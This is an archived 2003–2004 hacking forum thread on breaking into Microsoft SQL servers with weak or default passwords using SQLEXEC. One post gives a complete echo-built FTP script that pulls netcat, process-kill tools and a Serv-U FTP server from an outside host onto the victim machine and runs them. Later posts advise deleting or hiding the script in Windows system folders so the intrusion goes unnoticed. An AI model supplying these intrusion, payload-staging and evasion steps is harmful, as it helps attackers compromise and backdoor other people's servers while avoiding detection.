TheDuck
Oct 5 2003, 08:47 PM
Hello all
I'm using the program SQLEXEC.EXE to connect to the SQL Vul,
when I'm trying to trasfer the file with TFTP Server I get 'SQL_ERROR'
How can I send the files any way??
GhostCow
Oct 5 2003, 10:15 PM
| QUOTE |
echo open 123.456.34.45 21>msg.txt
echo user anonymous>>msg.txt
echo anony@anony.com>>msg.txt
echo type binary>>msg.txt
echo get nc.exe>>msg.txt
echo get tlist.exe>>msg.txt
echo get kill.exe>>msg.txt
echo get servu.ini>>msg.txt
echo get servu.exe>>msg.txt
echo get TzoLibr.dll>>msg.txt
echo get message.txt>>msg.txt
echo quit>>msg.txt
Once your putfile is ready you can launch it by typing the following command:
ftp -i -n -v -s:msg.txt
|
this is from the forum, props to who wrote this (i forgot who it is, sorry)
TheDuck
Oct 5 2003, 10:54 PM
And what is that?
what can I do with that?
CraZy_A
Oct 6 2003, 12:40 AM
| QUOTE (TheDuck @ Oct 5 2003, 10:54 PM) |
And what is that?
what can I do with that? |
eat it for breakfast maybe you will understand it after a while...
kenshin_efx
Oct 6 2003, 06:15 AM
| QUOTE (TheDuck @ Oct 5 2003, 10:54 PM) |
And what is that?
what can I do with that? |
is another method
z0mbi3
Oct 6 2003, 11:36 AM
what that doies is writes the information to connect to an ftp and get the files that are listed.
Since tftp works in udp packets(i think) they maybe lost and might cause an error...
so using ftp is much better
TheDuck
Oct 6 2003, 12:34 PM
o.k.
10q all
0xc0000005
Oct 7 2003, 11:41 AM
the othere method is called "ftp script?" so, you exec the cmd "echo" to add 1 line into 1 text file and exec this with the cmd ftp -i -n -v -s:<file>.xxx
if it works, the server will connect 2 the IP will get these files and quit after complete.
prog
Mar 20 2004, 03:26 PM
Does anyone have a link to 'SQLExec' to check for sql?
Joc00
Mar 23 2004, 03:23 AM
misa
Apr 11 2004, 04:33 PM
yes that one is the best sqlexec, i've been using it for a while now
canardwc
Apr 11 2004, 06:45 PM
I think that there still not many sysop that let the original pass and the box that still run this are already hacked :-)
Secondly, if you use the method with echo and so... don t forget to erase the file, i found many boxes with such files in the temp folder...
tho :-)
Chans
Apr 11 2004, 07:23 PM
Yes what canardwc said is really true. Always delete the file with the echo commands in it. And try to hide it a bit better then just dir c:\. Like:
echo open 12.34.56.78 21 >> c:\WINNT\system32\wins\
etc.
Or any other dir which is hidden somewhere in win dir.
Because there are so many people who leave the file with the commands on the server in dir c:\.
Dalrok
Apr 12 2004, 01:05 PM
I pref the ftp command too I also think it's safer then tfpt
cougar
Apr 12 2004, 01:41 PM
read some tutorials first before you start hacking
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please
click here.
